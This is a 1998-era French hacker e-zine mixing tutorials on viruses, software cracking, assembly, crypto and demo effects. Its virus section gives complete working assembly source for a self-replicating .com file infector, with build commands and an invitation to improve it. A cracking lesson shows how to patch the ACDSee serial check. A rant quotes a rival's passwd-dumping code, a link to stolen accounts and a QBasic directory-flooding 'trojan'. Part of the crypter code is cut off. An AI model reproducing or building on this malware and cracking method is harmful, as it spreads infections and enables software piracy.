*-----------------------* **Malicia Production Zine** *-----------------------* NuMbEr 2 Introduction: ÄÄÄÄÄÄÄÄÄÄÄÄÄ Toujours plus fort et toujours plus interessant(enfin j'‚sp‚re) voila Malicia Production Zine 2!! Je comptais faire une analyse du protocole utilis‚ par la taupe de JC'zic mais plus moyen de faire marcher une taupe sur mon systŠme........what the fucking shit????? Enfin bon c pas grave j'ai pr‚vu d'autres choses interessantes ;). Heille j'y pense comme ‡a, ce serait cool une rubrique courriers des lecteurs alors si vous avez qqchose … dire, ou vous voulez ‚crire un article: freaking@caramail.com Ha autre chose: "Windows 98 inaugure son premier bogue (18/08/1998) AprŠs les difficult‚s de migration de Windows 95 vers Windows 98, le nouveau systŠme d'exploitation de Microsoft vient de se voir dot‚ de son premier bogue officiel. La compagnie anglaise Prove It 2000 vient en effet de montrer que, lorsque Windows 98 est relanc‚ entre 23h59 et minuit, celui-ci fait un bond dans le temps d'un ou deux jours. De quoi s‚rieusement endommager une base de donn‚es... Microsoft a promis d'installer une " rustine " sur son site dans les jours … venir". Hahaha et c que le premier ;). Je vous dit qu'a chaque nouvelle version ils en rajoutent :)). Sommaire: ÄÄÄÄÄÄÄÄÄ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Titre de l'article: ³ Sujet: ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ Virus: infecteurs com ³ Virii ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ Cours de Cracking 2 ³ Cracking ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ Initiation … l'asm 2 ³ Asm ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ UHA, is that about Hack??? ³ Delire ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ Fire effect ³ Demo Coding ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ Initiation au cryptage 2 ³ Cryptage ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ****************************************************************************** * MM MM AA L I CCCCCC I AA * * M M M M A A L I C I A A * * M M M M AAAAAA L I C I AAAAAA * * M MM M A A LLLLL I CCCCCC I A A * ****************************************************************************** <---------------------------------> Virus: Infecteurs .com <---------------------------------> Voila mon premier article sur les virus, je commence par les infecteurs de .com car ce sont les plus simples, aprŠs on fera les .exe et aprŠs on verra ;). La premiŠre chose … savoir sur les virus c'est qu'ils s'ecrivent en assembleur, pour la simple raison que c plus petit(on va pas faire des 'virus' de 400 Ko comme JC'zic ;)). Mais tout d'abord ‚tudions ce que fera l'infection: Avant infection: ************ ************* * mov ax, * * jump * * 1234 * * virus * ************ ************* * * * * < fonc * Clean * * Infec * * File * * File * * * * * ************ ************* * Virus * < virus ************* * mov ax, * * 1234 * ************* * jump * * fonc * ************* Essayez de bien vous mettre ce sch‚ma en tˆte car il est important! Donc en fait notre programme marche de la fa‡on suivante lors de l'infection, il sauvegarde les 3 premiers bytes, et les remplacent par un saut sur la fin du fichier, et l… il s'‚crit dans le fichier... Lors de l'execution donc le saut aura lieu, le virus s'execute(infecte d'autres fichiers ;) ) et ensuite remplace(en m‚moire) les bytes qu'il avait remplac‚ par les originaux et saut … 100h...et donc le prog s'execute normallement Bon et comme d'ab je vous propose du code ;). ****************************************************************************** code segment ; SEGMENT DE CODE assume cs:code,ds:code ;CS ET DS POINTENT TOUT LES 2 SUR CODE org 100h ;LES FICHIER COM COMMENCENT A 100H debut: db 0e9h,0,0 ;C'EST LE JUMP, NOUS EN AVONS BESOIN POUR ;FAIRE COMME SI LE PROGRAMME ETAIT ;INFECTE virus: call depart_virus ;POURQUOI UN CALL ET BIEN TOUT SIMPLEMENT ;POUR SAVOIR A QU'ELLE ADRESSE LE PROGRAMME ;DEVRA REVENIR EN CAS DE RET(LA VALEURE EST ;MISE SUR LA PILE) depart_virus: pop bp ;RECUPERE JUSTEMENT CETTE VALEURE sub bp,OFFSET depart_virus ;ET LA SOUSTRAIT A L'ADRESSE DE DEPART ;VIRUS POUR OBTENIR LE DEBUT DU CODE ;DU VIRUS... remet_3_bytes: mov cx,3 ;VA DEPLACER 3 OCTETS lea si,[bp+OFFSET troisbytes] ;MET DANS SI LES 3 BYTES ORIGINAUX mov di,100h ;MET A 100h(EN MEMOIRE LES COMS COMMENCENT ;A 100h...) rep movsb ;REMET LES OCTETS ORIGINAUX init_dta: lea dx,[bp+OFFSET dta_place] ;MET DANS DX L'ADRESSE DE dta_place mov ah,1ah ;FONCTION 1Ah int 21h ;LANCE L'INTERRUPTION trouve: mov ah,4eh ;PREMIERE RECHERCHE lea dx,[bp+comsig] ;MET LE NOM DU FICHIER QU'ON CHERCHE ;DANS DX(ici *.com) mov cx,7 ;RECHERCHE UN FICHIER AVEC N'IMPORTE ;QUELLE ATTRIBUTS... cherche: int 21h ;LANCE LA RECHERCHE jnc ouvre ;SI FICHIER TROUVE SAUTE A ouvre jmp fin_cherche ;SINON VA A fin_cherche ouvre: mov ax,3d02h ;FONCTION 3Dh lea dx,[bp+OFFSET dta_place+1eh] ;DTA_PLACE+1eh CONTIENT LE NOM ;DU FICHIER TROUVE int 21h ;LANCE L'INTERRUPTION mov bx,ax ;MET BX DANS AX mov ah,3fh ;LIT LES 3 BYTES QUI VONT CHANGE lea dx,[bp+troisbytes] ;ET PIS LES MET DANS troisbytes mov cx,3 int 21h ;EFFECTUE LA LECTURE mov ax,word ptr [bp+dta_place+1ah] ;MET DANS AX LA TAILLE DU FICHIER mov cx,word ptr [bp+troisbytes+1] ;MET DANS CX LES 2 DERNIERS BYTES ;DU JUMP DONC LA TAILLE DU ;FICHIER SI INFECTE add cx,end_virus-virus+3 ;Y AJOUTE LA TAILLE DU VIRUS cmp ax,cx ;COMPARE LES 2 jz ferme ;SI EGALE ALORS INFECTE sub ax,3 ;ENLEVE TROIS A LA TAILLE ;CAR NOUS LES AVONS DEJA LUS mov word ptr [bp+newjump+1],ax ;MET DANS LES 2 DERNIERS BYTES ;DE NEWJUMP LA TAILLE DU FICHIER ;ET DONC CALCULE LE SAUT QUI ;REMPLACERA LES 3 bytes mov ax,4200h ;VA AU DEBUT DU FICHIER xor cx,cx xor dx,dx int 21h mov ah,40h ;ET ECRIT LES 3 BYTES mov cx,3 lea dx,[bp+newjump] int 21h mov ax,4202h ;VA A LA FIN DU FICHIER xor cx,cx xor dx,dx int 21h mov ah,40h ;ET ECRIT LE VIRUS mov cx,end_virus-virus ;TAILLE DU VIRUS lea dx,[bp+virus] ;POINTE SUR VIRUS int 21h ferme: mov ah,3eh ;FERME LE FICHIER int 21h mov ah,4fh ;CHERCHE PROCHAIN FICHIER jmp cherche fin_cherche: mov dx,80h ;REMET LE DTA A SA PLACE ;) mov ah,1ah int 21h mov di,100h jmp di comsig db '*.com',0 troisbytes db 0cdh,20h,0 newjump db 0e9h,0,0 end_virus label near dta_place db 42 dup (?) code ENDS END debut ****************************************************************************** Pour compiler: -------------- tasm Virus.asm tlink Virus.obj /t Bon voil… maintenant que vous avez le code source avec des explications sous les yeux je vais expliquer des choses en plus car j'ai pas eu la place d'en parler dans la source: ****************************************************************** pop bp ;RECUPERE JUSTEMENT CETTE VALEURE sub bp,OFFSET depart_virus ;ET LA SOUSTRAIT A L'ADRESSE DE DEPART ****************************************************************** En fait on fait ‡a car l'OFFSET depart_virus est un label et quand il est compil‚ par tasm il devient un nombre, mais quand nous infectons un fichier le virus se trouve … la fin du fichier et donc ce nombre n'est plus correct... Il faut donc trouver le deplacement par rapport au fichier courant, pour cela on recupere la vrais adresse de depart_virus et on lui soustrait l'ancienne pour obtenir le d‚but du virus dans le fichier...comme je sais que c'est assez dur … comprendre je vais vous faire une chtite explication: le fichier non-infect‚ fait 1000 octects l'adresse de depart_virus aprŠs compilation est 6 Une fois le virus lan‡‚ pop bp donc bp vaut 1006...on soustrait 6 et on obtient le d‚but du virus :). C clair cette fois non? ****************************************************************** lea dx,[bp+OFFSET dta_place] ;MET DANS DX L'ADRESSE DE dta_place mov ah,1ah ;FONCTION 1Ah int 21h ;LANCE L'INTERRUPTION ****************************************************************** DTA est en fait une table qui vous permet d'avoir des informations sur le fichier ouvert, pour pouvoir l'utiliser il faut lui allouer une place et ‡a se fait via cette interruption...pour plus d'informations: DTA ------------------------------------------------------------ Offset Size Function 0h 21 Bytes Reserv‚ 15h 1 Byte Attributs du fichier 16h 2 Bytes(WORD) Time du fichier 18h 2 Bytes(WORD) Date du fichier 1Ah 4 Bytes(DWORD) Taille du fichier 1Eh 13 Bytes Nom du fichier ------------------------------------------------------------ Bon voil… vous pouvez vous amusez avec ce virus et l'ameliorer :). Bon amusement ;) Bon je met le virus en com avec le mag :) et il fait: 167 octect!!! Alors imaginez tout les conneries que contient la taupe de JC'zic(400 000 octets environs ;)) ****************************************************************************** * MM MM AA L I CCCCCC I AA * * M M M M A A L I C I A A * * M M M M AAAAAA L I C I AAAAAA * * M MM M A A LLLLL I CCCCCC I A A * ****************************************************************************** /%%%%%%%%%%%%%%%\ %%Cours de CraCk2%% \%%%%%%%%%%%%%%%/ Re-bonjour et bienvenue dans la 2‚me partie de mon tutorial :). Cette fois on s'attaque … un peu plus amusant mais pas trŠs dur quand mˆmme... -Softice V3.2 Ce logiciel est un d‚buggeur, c'est … dire un programme qui permet de suivre le programme alors qu'il s'execute et ainsi de rep‚rer par exemple de rep‚rer l'endroit ou il compare votre serial au bon serial. Il existe d'autres d‚buggeurs comme Turbo Debuggeur qui est distribu‚ avec les programmes Borlands mais il est loin d'ˆtre aussi performant que Softice... -W32Dasm V8.9 Il ne sera pas vraiment n‚c‚ssaire mais permet d'avoir une vue d'ensemble du programme.... La derniŠre fois le logiciel … cracker ‚tait poua trŠs connu alors cette fois ‡i je vous propose un peu plus connu(en fait je pense que tout le monde l'a :) , c'est Acdsee V2.0(je sais c pas la derniŠre mais c la meilleure :). Bon cette fois y va falloir bosser :). Alors pour commencer vous installez softice, dans softice(Ctrl+D) vous aurez besoin d'enabler plusieurs options qui vous permettront de voir plus de choses: CODE ON DATA R voila 3 trucs que vous devrez tapez pour avoir tout ce dont vous avez besoin sous les yeux. Bon revenons … nos moutons :), lancez acdsee et comme d'ab allez dans help->register et la il vous demande un code et un nom...alors la on fait un ptit ctrl-d et on est sous softice, vous tapez alors TASK pour savoir sous quel nom runne acdsee.....normalemment il devrait runner sous le nom "Acdsee32". Pour savoir les diff‚rents sous-objets qui composent cette application vous tapez HWND Acdsee32 et vous obtenez un liste. Dans cette liste il y a 2 edit qui sont en fait les zones ou vous ‚crivez votre nom et votre s‚rial. Vous relevez donc un des Window Handle(le nombre le plus … gauche) de type edit et vous tapez un ligne comme celle ‡i: BMSG 1234 WM_Gettext en rempla‡ant bien ‚videmment le num‚ro 1234 par le window handle du edit... Nous venons la de poser un breakpoint qui arretera le programme et lan‡era softice quand Acdsee32 enverra le message WM_Gettext … la boite de dialogue(pour r‚cup‚rer le texte quoi....) Donc nous rentrons un nom et un s‚rial bidon et on appuye sur OK. Et pof Softice apparait, on appuye sur ctrl-d car de tout fa‡on le programme n'a pour le moment que r‚cup‚rer le nom...softice break encore et la vous appuyez sur F12 le temps de revenir dans le code du programme acdsee qui devrait se trouver dans les 0137:004XXXXX ou qqchose comme ‡a... Plus exactent vous devriez avoir le code suivant devant les yeux: ****************************************************** lea eax, [esp+38] ;Met l'adresse du pass dans eax lea ecx, [esp+18] ;Met l'adresse du nom dans ecx push eax push ecx ;Met sur la pile call 00402FC0 ;Verifie le pass add esp,08 test eax,eax jle 0040372A ;Si mechant gar‡on Fait le jump ****************************************************** Ici si vous essayez de nopper le jump le logiciel vous dira 'merci de vous ˆtre enregistr‚' mais il ne s'enregistrera pas......donc nous allons devoir ‚tudier plus en profondeur le premier call. Pour cela vous mettez un break en double cliquant sur le call dans softice...donc vous recliquez sur Ok et softice break, la vous rentrez … l'interieur du call en appuyant sur F8. Bon dans cette boucle le premier call verifie si le nom fait plus de 5 caract‚res, si oui il met eax … un si non il met eax … 0. Et juste aprŠs ce call il fait un ret si eax==0. Bon moi j'ai rentr‚ SaTaNiK comme nom donc ‡a marche :). Ensuite le programme ne fait plus qu'un call et retourne d'ou il vient....donc ce call la verifie le password...mais si vous rentrez dans ce call l… vous vous rendrez vite compte que la proc‚dure est assez complexe.... Mais regardez juste aprŠs ce call il y a quelques trucs int‚ressants: **************************************************** call 00421750 ;Voici donc le jump qui ;Verifie le serial add esp, 0000000C cmp eax, 00000001 ;Hoooo comme c'est interessant :) ;Il compare deja eax =) sbb eax, eax pop esi inc eax ret ;Pis il retourne du call ***************************************************** Et oui il compare deja eax pour voir si le serial est bon... et cette comparaison … pour cons‚quence de modifier le contenue de eax en dessous :). Donc nous avons cette comparaison … modifier: 83 F8 01 cmp eax, 00000001 en 83 F8 00 cmp eax, 00000000 Et voila le tour est jou‚ :). Voila, voila c'est finit pour mon deuxiŠme cours de cracking... ****************************************************************************** * MM MM AA L I CCCCCC I AA * * M M M M A A L I C I A A * * M M M M AAAAAA L I C I AAAAAA * * M MM M A A LLLLL I CCCCCC I A A * ****************************************************************************** ÚÄÄÄÄÄÄÄÄÄÄÄ¿ ³Cours d'asm³ ÀÂÄÄÄÄÄÄÄÄÄÂÙ ³LECON Nø2³ ÀÄÄÄÄÄÄÄÄÄÙ Cette fois on va faire un......allez essayer de deviner quoi :). On va faire un programme de Dessin!!! Bon pour faire un programme de dessin voyons ce dont on … besoin...d'une souris...et pis d'un ecran en mode graphique...et ensuite nous devrons cr‚er des fonctions :)... Pour pouvoir afficher une image il faut d'abord passer en mode graphique car au d‚mmarage de l'ordinateur(ou en mode dos normal) on est en mode texte. Pour cela on va trŠs simplement faire appel … la fonction 0 de l'interruption 10h. Cette fonction permet de changer le mode de l'‚cran... ***FONCTION 0 DE L'INTERRUPTION 10H*** ParamŠtres d'entr‚e: -AH=00 -AL=mode vid‚o ************************************** 2 modes vid‚os nous interesse particuliŠrement: le mode 3h est celui dans lequel nous devrons revenir … la fin du programme(mode texte). Le mode 13h quand … lui est le mode graphique qui nous interesse car il permet 256 couleurs dans une r‚solution de 320*200 pixels(c'est notre mode graphique). Donc pour passer en mode graphique nous ferons simplement: ********** mov ah,0 mov al,13h int 10h ********** Donc nous voila en mode graphique...mais maintenant il faut absolument que nous sachions afficher un point...pour cela nous pourrions encore utilis‚ une interruption mais elle sont trop lentes pour ce genre de chose... Pour afficher un point sur l'‚cran nous devons pointer sur la m‚moire vid‚o. Pour cela nous allons utiliser le segment ES qui pointera sur la m‚moire vid‚o...pour faire cela il suffit simplement de faire pointer ES sur A000H: ************* mov ax,0a000H mov es,ax ************* Il y a deux choses que vous devez avoir not‚ rien qu'a ces 2 lignes, c'est qu'on ne peut pas ‚crire directement dans les segments...et que sur on veut mettre une valeure dans une variable et si celle si commence par une lettre (la valeur) et bien nous devons rajouter un 0 devant pour que le compil ne la prenne pas pour une variable... Pour mettre un point ce sera donc trŠs simple il suffira de mettre par exemple dans di la valeure qu'on veut attendre et on met la couleur dans ce point. Un ptit exemple pour vous ‚claircir les id‚es: *********************** mov di,50 mov es:[di], byte ptr 5 *********************** Ce ptit code fera apparaŒtre un point … la ligne 0 colonne 50...si nous avions voulu mettre un point dans la ligne 8 colonne 30 il suffisait de faire un ptit calcul: ligne*320+colonne=di... Pour se servir de la souris MS-DOS nous offre une panoplie de fonctions: **Initialiser la souris** fonction 00 de l'interruption 33h -ax=00 ************************* Cette fonction renvoit 0 si aucun pilote de souris n'est install‚... **Affiche/cache la souris** fonction 01 de l'interruption 33h -ax=01 *************************** Si vous executez cette fonctions alors que la souris et visible, elle disparaitra et inversement... **Lit l'‚tat de la souris** fonction 03 de l'interruption 33h -ax=03 *************************** Cette fonction renvoit dans bx l'‚tat des boutons cod‚ comme suit: bit0=1 le bouton gauche … ‚t‚ actionn‚ bit1=1 le bouton droit … ‚t‚ actionn‚ Elle renvoit dans cx, l'abscisse X du pointeur et dans dx l'ordonn‚e Y. Qqchose de bizarre c que cx doit ˆtre divis‚ par 2....car la souris met la valeure sur 640....et non pas sur 320... Une des choses les plus importantes dans l'asm est l'utilisation des jumps... Il existe en asm une grande quantit‚ de jump dont je vais devoiler les secrets ici! Il existe en m‚moire une sorte de registre qui contient des indicateurs qui sont soit … 0 ou 1...et les jumps ne font que les tester...il existe diff‚rentes fonctions qui modifient ces indicateurs mais la principale que nous allons utiliser est cmp, cette instruction permet simplement de comparer 2 registres ou un registre et une valeur.... **je****************************************** ce jump ne fait le saut qu'en cas d'‚galit‚... Exemple: mov ax,5 cmp ax,5 je saute_car_5_est_egal_…_5 ********************************************** **jb****************************************** ce jump saut si la premiŠre valeure est inf‚rieur … la deuxiŠme... Exemple: mov ax,1 cmp ax,80 jb saute_car_1_est_plus_petit_que_80 ********************************************** Pour obtenir l'effet inverse, par exemple pour sauter si, dans notre deuxiŠme exemple ax ‚tait plus grand que 80 il suffit d'intercaler un n au milieu du jump...par exemple pour jb sela donnerait jnb...simple non? Il existe aussi un autre saut, trŠs simple, c jmp qui effectue un saut sans condition...... Ha j'oubliais, aprŠs le jump vous mettez ce qu'on appelle un label...c'est simplement un nom... **********Exemple********** mov ax,8 cmp bx,ax jb saut1 jmp saut2 saut1: saut2: *************************** Bon donc voila ce que devrait donner notre programme: ***************************************** .MODEL SMALL .STACK 100H .386 .DATA NOSOURIS DB "La souris n'as pas ‚t‚ trouv‚e :(...$" .CODE debut: ;DEBUT DU PROGRAMME mov ax,@DATA ;INITIALISE LE SEGMENT DATA mov ds,ax mov ax,0A000h ;POINTE LE SEGMENT ES SUR VIDEO mov es,ax mov ah,00 ;INITIALISE LE MODE VIDEO mov al,13h int 10h mov ax,0 ;INITIALISE LA SOURIS int 33h cmp ax,0 ;ET JUMP SI PAS DE PILOTES je no_souris mov ax,1 ;AFFICHE LA SOURIS int 33h infinit_loop: mov ax,3h ;TESTE L'ETAT DE LA SOURIS int 33h cmp bx,1 je button_1_pressed ;LOOK SI BUTTON 1 APPUYE cmp bx,2 ;LOOK SI BUTTON 2 APPUYE je button_2_pressed jmp infinit_loop ;SINON REGARDE ENCORE ETAT button_1_pressed: sub cx,2 ;ON SOUSTRAIT 2 … X ET Y POUR EVITER sub dx,2 ;DES PROBLEMES AVEC L'AFFICHAGE DE LA SOURIS mov ax,320 ;MULTIPLIE DX(Y) PAR 320 mul dx shr cx,1 ;DIVISE LES X PAR 2 add ax,cx ;ET AJOUTE LES X mov di,ax ;AFFICHE UN JOLI POINT TOUT BEAU =) mov es:[di],byte ptr 5 jmp infinit_loop ;ET PIS REGARDE SI ENCORE APPUYE button_2_pressed: jmp good_end ;QUITTE LE PROGRAMME SI 2‚me BOUTTON PRESSE no_souris: mov ax,2 ;CACHE LA SOURIS int 33h mov ah,00 ;RETABLIT MODE TEXTE mov al,03h int 10h mov ah,09h ;AFFICHE ERREUR lea dx,NOSOURIS int 21h mov ax,4C00H ;ET QUITTE int 21h good_end: mov ax,2 ;CACHE LA SOURIS int 33h mov ah,00 ;RETABLIT MODE TEXTE mov al,03h int 10h mov ax,4C00H ;QUITTE int 21h END debut ;INFORME LE PROG QUE L'ON COMMENCE … debut ***************************************** Et voila mon deuxiŠme cours finit.....j'‚sp‚re que vous aurez aim‚...et puis il ne tient qu'… vous d'am‚liorer ce programme :)). ****************************************************************************** * MM MM AA L I CCCCCC I AA * * M M M M A A L I C I A A * * M M M M AAAAAA L I C I AAAAAA * * M MM M A A LLLLL I CCCCCC I A A * ****************************************************************************** UHA or the lamer Power ---------------------- Et oui j'ai fais un ptit article rien que sur ce zine complˆtement lame qu'est UHA, un vrais poubelle je vous dit, mais comme je n'insulte pas sans raison je vais vous le prouver.... ******************************* Lisez le avec Office ou Word... ******************************* Uh, qu'est ce qu'il me dit l'autre, je devrais lire son zine avec Office de MICROSUCK!!!! Mais j'ai pas ‡a et je l'aurais jamais!!! Vive EDIT du DoS :). *********************************************************************** Ce Zine est publier par : [DaeMoN] en collaboration avec le UHA et tout les autres qui y participe... *********************************************************************** Le pauvre est tout seul pour faire son ptit zine pourris et il ose pas le dire....(2 points pour moi)!!! :)) *************************************************************************** Mais en t k moi ca sera pas mon cas...Je vais continuer même si le FBI est a mon cul...Je chierai pas dans mon froc comme eux...Bon on commence lançon nous dans les chose un peu + sérieuse...GO *************************************************************************** Rassure toi mon gars, c'est pas avec un zine aussi pourris que t'auras le FBI au cul...(3) ************************************************************************ 2. Bon alors un passwd file c un file (le nom le dit) qui contient les information du user name et du passwd pour avoir accès a des Linux/Unix, FTP, Wwwboard (Je vais surment expliquer dans ce # comment hacker un wwwboard). ************************************************************************ Heille je sais pas si tu sais mon vieux mais le hack de wwwboard ‡a deja ‚t‚ fait...par Total Control que tu critique je crois... :)) ************************************************************* #include main () { /* Programmer par [DaeMoN] */ /* Pour unshadow passwd file */ struct passwd *p ; while(p=getpwent ()) printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd, p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell); } ************************************************************* Putain ya pas … dire c'est un bon programeur, il sait cr‚er une structure et pis lancer une fonction fiouuuuuu...mˆmme moi j'y arriverais pas(4)!!! *************************************************************************** J'allais oublier ... pour downloader un passwd file de environs 400 account prenez le a : http://members.xoom.com/UHA_Daemon/Hackme.zip *************************************************************************** Mais putain on s'en caliss de tes 400 accounts pov d‚bile, si on connait pas le site qui va avec...rha putain t'es un criss de chier de lamer ou quoi?(5) ************************************************************************* Bon OK...on commence dans cette article je vais vous expliquer comment monter un trojan en Qbasic...c vraiment pas complexe vous allez voir si vous avez déjà fais du QB vous allez pas avoir de misère...OK on commence la programmation... Rem programed by [DaeMoN] Color 13,0 Print "Installation des Data File , veuillez patienter" Print "Cela peut prendre de 10 a 15 minute selon votre ordinateur" shell "cd\" for a = 1 to 6666 a$=str$(a) c$="md" + a$ + ".hee" shell c$ next a cls print" UHA Version 3.7 est maintenant installer sur votre ordinateur..." print" Bonne journée" print input "Appuyer sur ENTER pour rebooter votre system!";a$ shell "boot.com" ************************************************************************* Hem quesque c'est hot, et en qbasic en +..ouhaaaaaa il cr‚e 6666 r‚pertoires oh putain c trop cool....non je d‚conne bien sur, c'est un vrais merde et putain c trop d‚bile d'appeller ‡a un trojan...rha putain c le pire de criss de lamer(ptˆt pas en fait) que j'ai jamais vu!!!! ***************************************************************************** Ce petit brin de programmation a été fais par moi et J-A-K-E pour pas de discrimination...Ce petit trojan (un bon ami) crée 6666 répertoires dans le C : hehe efficace vous me dirai...mais ya qua les effacer ...ben j'ai une nouvelle Il ne sont pas effaçables désoler...Hehe non mais il faux un format C : pour les effacer sinon il reste...Ca doit tu être chiant d'avoir 6666 répertoires dans son C : ... Amuser vous bien ! ! ! ***************************************************************************** C'est vrais que ya de quoi revendiquer son coups, un truc aussi bien ‚crit c'est vraiment rare....comment ‡a il sont pas effacable????excuse mais je viens de voir que les noms des r‚pertoires ‚tait ?.hee et ben un bon deltree *.hee et pis ya pu rien, allez retourne dans ta cave pov lamer... Bon voila j'ai pouss‚ mon coup de rage contre la nullit‚ qui s'abat sur le monde du hacking :)). Enfin je souhaite malgrŠs tout un bon avenir … UHA ;)). ****************************************************************************** * MM MM AA L I CCCCCC I AA * * M M M M A A L I C I A A * * M M M M AAAAAA L I C I AAAAAA * * M MM M A A LLLLL I CCCCCC I A A * ****************************************************************************** Initiation au CræpÅage 2 !!!!!!!!!!!!!!!!!!!!!! Hehe j'ai un peu am‚liorer le crypteur de la derniŠre fois, cette fois il a besoin d'un code pour crypter.... ****************************************************************************** #include #include #include #include #include #include #include void main(int argc, char *argv[]) { unsigned long taille; unsigned long index; unsigned char *buffer; unsigned char index2; unsigned char Signature[10]; unsigned char good_key[50]; unsigned char crypt=33; FILE *to_crypt; FILE *crypted; printf("Spiritic Crypter By SaTaNiK V0.2\n\n"); if(argc!=3) { printf("Usage:\n"); printf("Crypter \n"); exit(0); } to_crypt=fopen(argv[1],"r+b"); if(to_crypt==NULL) { printf("Can't open source file...\n"); exit(1); } crypted=fopen(argv[2],"wb"); if(crypted==NULL) { printf("Can't create crypted file...\n"); exit(1); } for(index=0;index<50;index++) { good_key[index]=0; } try_again: printf("Please enter a 10 digits key:\n"); cin >> good_key; if(good_key[9]==0) { printf("You don't enter a gook key(you're stupid?)...\n"); printf("Try again...\n"); goto try_again; } fseek(to_crypt,0,SEEK_END); taille=ftell(to_crypt); fseek(to_crypt,0,SEEK_SET); buffer=(unsigned char *)malloc((taille+10)); if(buffer==NULL) { printf("Can't allocate enought memory...\n"); exit(1); } printf("I'm crypting master...\n"); index2=0; Signature[0]='S'; Signature[1]='p'; Signature[2]='i'; Signature[3]='r'; Signature[4]='i'; Signature[5]='t'; Signature[6]='i'; Signature[7]='c'; Signature[8]='C'; Signature[9]='r'; for(index=0;index<10;index++) { buffer[index]=Signature[index]; buffer[index2]+=good_key[index2]; crypt^=Signature[index2++]; if(index2==10) { index2=0; } crypt+=Signature[index2]; buffer[index]^=crypt; } for(index=10;index ****************************************************************************** * MM MM AA L I CCCCCC I AA * * M M M M A A L I C I A A * * M M M M AAAAAA L I C I AAAAAA * * M MM M A A LLLLL I CCCCCC I A A * ****************************************************************************** *************** *************** Vous ne le savez sans doute pas, j'adore les d‚mos :). Si vous ne savez pas ce qu'est un d‚mo et bien c'est en fait un ensemble de programmation, de graphs et de musique qui rend qqchose de trŠs bien(enfin la plupart du temps car c comme partout, y a des rat‚s). Si vous ne connaisez pas je vous conseille "second reality" qui date un peu mais qui est trŠs bien ou alors "Robotnik" qui est bien aussi :). Bon pour revenir au sujet, nous ce qui nous interesse c'est le code :), enfin moi du moins, ici je vous propose de coder un effet de feu, un effet qu'on ne voit plus beaucoup dans les d‚mos mais qui est interessant … coder :). A vrais dire, en codant cette effect je ne me suis servir d'aucun tutorial ou quoi que ce soit, je me suis assis devant l'ordi en me disant: "je dois faire un effet de feu ;))". Bon on va pas tout de suite faire une belle palette, on va tout simplement faire une palette qui va du noir(0) au blanc(255). ****************************** for(index=0;index<256;index++) { r=index/4; g=index/4; b=index/4; } ****************************** Bon nous allons reflechir … comment faire un effet de feu...moi la premiŠre m‚thode qui m'est venu … l'id‚e ‚tait de faire des lignes qui partait du bas de et de longueur all‚atoire, avec un effet de floue...Vous trouverez l'executable(Test.exe) avec le zine... Comme vous pourrez vous en aper‡evoir, ce n'est pas du tout un effet de feu, alors je me suis dit....mais quesqu'il manque??? Et puis j'ai trouv‚, les flames ne montent pas!!!! Donc il faut cr‚er une fonction qui commence par le haut, et qui mettent les couleurs au dessus.... Donc finalement voici le code: ****************************************************************************** #include #include #include #include //TOUTES LES BIBLIOTHEQUES DONT ON #include //A BESOIN #include #include #include #include //FONCTION POUR GENERER UN NOMBRE ALEATOIRE #define ALEA(n) (((float)rand() / (float)RAND_MAX)*(n)) unsigned char r,g,b; //RED,GREEN,BLUE, POUR LA PALETTE unsigned char *videomem = (unsigned char *)0xA0000000; //POINTEUR SUR LA PALETTE VIDEO int index; int index2; //DEUX INDEX DONT ON SE SERT SOUVENT DANS LE PROGRAMME int couleur; //COULEUR DU POINT APRES BLUR unsigned int aleat; //SERT POUR LES CHIFFRES ALEATOIRES... unsigned char *buffer; //BUFFER POUR L'IMAGE //FONCTION POUR TRACER UN PIXEL void pixel(unsigned int x,unsigned int y,unsigned char color) { buffer[x+320*y]=color; } //FONCTION POUR PALETTE void set_palette(unsigned char color) { outp(0x3c6,0xFF); outp(0x3c8,color); outp(0x3c9,r); outp(0x3c9,g); outp(0x3c9,b); } //FONCTION POUR CHANGER MODE void change_mode(unsigned char mode) { union REGS regs; regs.x.ax=mode; int86(0x10,®s,®s); } //AFFICHE LE BUFFER void show_buffer() { memcpy((unsigned char *)videomem,(unsigned char *)buffer,63680); } //ATTEND L'ECRAN POUR AFFICHER void wait_for_screen() { while(inp(0x3DA)&0x08); while(!(inp(0x3DA)&0x08)); } void main() { printf("Fire 